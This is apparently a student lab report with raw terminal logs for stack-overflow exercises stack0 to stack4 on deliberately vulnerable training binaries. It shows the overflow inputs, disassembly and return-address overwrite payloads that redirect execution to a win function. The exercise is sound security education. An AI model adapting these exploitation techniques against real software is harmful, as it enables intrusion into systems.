Lab 8 Report

Stack 0

Command:
./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Result:

```
$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
$
```

Stack 1

Command:
./stack1 12345678901234567890123456789012345678901234567890123456789012345678901234dcba
Result:

```
$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
Try again, you got 0x00000000
$ ./stack1 12345678901234567890123456789012345678901234567890123456789012345678901234dcba
you have correctly got the variable to the right value
$
```

Stack 2

Command:
GREENIE=$(printf “12345678901234567890123456789012345678901234567890123456789012345678901234\n\r\n\r”) ./stack2
Result:

```
678901234\10\13\10\13')
$ echo $GREENIE
12345678901234567890123456789012345678901234567890123456789012345678901234


$ ./stack2
stack2: please set the GREENIE environment variable

$ GREENIE=$GREENIE ./stack2
Try again, you got 0x0b080b08
$ GREENIE=$(printf
> ^C
$ ^C
$ ^C
$ GREENIE=$(printf '%b' '12345678901234567890123456789012345678901234567890123456789012345
678901234\x10\x13\x10\x13') ./stack2
Try again, you got 0x3031785c
$ GREENIE=$(printf "12345678901234567890123456789012345678901234567890123456789012345678901
1234\n\r\n\r
> ") ./stack2
you have correctly modified the variable
$ GREENIE=$(printf "12345678901234567890123456789012345678901234567890123456789012345678901
1234\n\r\n\r") ./stack2
you have correctly modified the variable
$
```

Stack 3

Command:
objdump -d stack3
Result:

```
 8048416:       74 09                   je     8048421 <frame_dummy+0x21>
 8048418:       c7 04 24 a4 95 04 08    movl   $0x80495a4,(%esp)
 804841f:       ff d0                   call   *%eax
 8048421:       c9                      leave
 8048422:       c3                      ret
 8048423:       90                      nop

08048424 <win>:
 8048424:       55                      push   %ebp
 8048425:       89 e5                   mov    %esp,%ebp
 8048427:       83 ec 18                sub    $0x18,%esp
 804842a:       c7 04 24 40 85 04 08    movl   $0x8048540,(%esp)
 8048431:       e8 2a ff ff ff          call   8048360 <puts@plt>
 8048436:       c9                      leave
 8048437:       c3                      ret

08048438 <main>:
 8048438:       55                      push   %ebp
 8048439:       89 e5                   mov    %esp,%ebp
 804843b:       83 e4 f0                and    $0xfffffff0,%esp
 804843e:       83 ec 60                sub    $0x60,%esp
 8048441:       c7 44 24 5c 00 00 00    movl   $0x0,0x5c(%esp)
 8048448:       00
 8048449:       8d 44 24 1c             lea    0x1c(%esp),%eax
 804844d:       89 04 24                mov    %eax,(%esp)
```

Command:
python -c “print ‘A’*64 + ‘\x24\x84\x04\x08’” | ./stack3
Result:

```
> ^C
$ ^C
$ ^C
$ echo '1234\x24\x04\x84\x01'
1234\x24\x04\x84\x01
$ printf '1234\x24\x84\x04\x08'
1234\x24\x84\x04\x08$ ^C
$ ^C
$ python
Python 2.6.6 (r266:84292, Dec 27 2010, 00:02:40)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
KeyboardInterrupt
>>>
KeyboardInterrupt
>>>
KeyboardInterrupt
>>> quit
Use quit() or Ctrl-D (i.e. EOF) to exit
>>>
$ python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
$
```

Stack 4

Command:
objdump -d stack4
Result:

```
080483f4 <win>:
 80483f4:       55                      push   %ebp
 80483f5:       89 e5                   mov    %esp,%ebp
 80483f7:       83 ec 18                sub    $0x18,%esp
 80483fa:       c7 04 24 e0 84 04 08    movl   $0x80484e0,(%esp)
 8048401:       e8 26 ff ff ff          call   804832c <puts@plt>
 8048406:       c9                      leave
 8048407:       c3                      ret

08048408 <main>:
 8048408:       55                      push   %ebp
 8048409:       89 e5                   mov    %esp,%ebp
 804840b:       83 e4 f0                and    $0xfffffff0,%esp
 804840e:       83 ec 50                sub    $0x50,%esp
 8048411:       8d 44 24 10             lea    0x10(%esp),%eax
 8048415:       89 04 24                mov    %eax,(%esp)
 8048418:       e8 ef fe ff ff          call   804830c <gets@plt>
 804841d:       c9                      leave
 804841e:       c3                      ret
 804841f:       90                      nop

08048420 <__libc_csu_fini>:
 8048420:       55                      push   %ebp
 8048421:       89 e5                   mov    %esp,%ebp
 8048423:       5d                      pop    %ebp
```

Command:
python -c “print ‘a’*76 + ‘\xf4\x83\x04\x08’” | ./stack4
Result:
Attempt 1

```
 80484cf:       e8 9c fe ff ff          call   8048370 <__do_global_dtors_aux>
 80484d4:       59                      pop    %ecx
 80484d5:       5b                      pop    %ebx
 80484d6:       c9                      leave
 80484d7:       c3                      ret
$ ./stack4
11234567890qwertyuiopasdfghjklzxcvbnm1234567890qwertyuiopasdfghjklzxcvbnm
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234567
890qwertyuiopasdfghjklzxcvbnm
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Segmentation fault
$ _
```

Attempt 2

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$
```

Attempt 3 - success, finally guessed size of garbage

```
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ python -c "print 'a'*75 + '\xf4\x83\x04\x08'" | ./stack4
Segmentation fault
$ python -c "print 'a'*76 + '\xf4\x83\x04\x08;" | ./stack4
  File "<string>", line 1
    print 'a'*76 + '\xf4\x83\x04\x08;
                                    ^

SyntaxError: EOL while scanning string literal
$ python -c "print 'a'*76 + '\xf4\x83\x04\x08'" | ./stack4
code flow successfully changed
Segmentation fault
$ _
```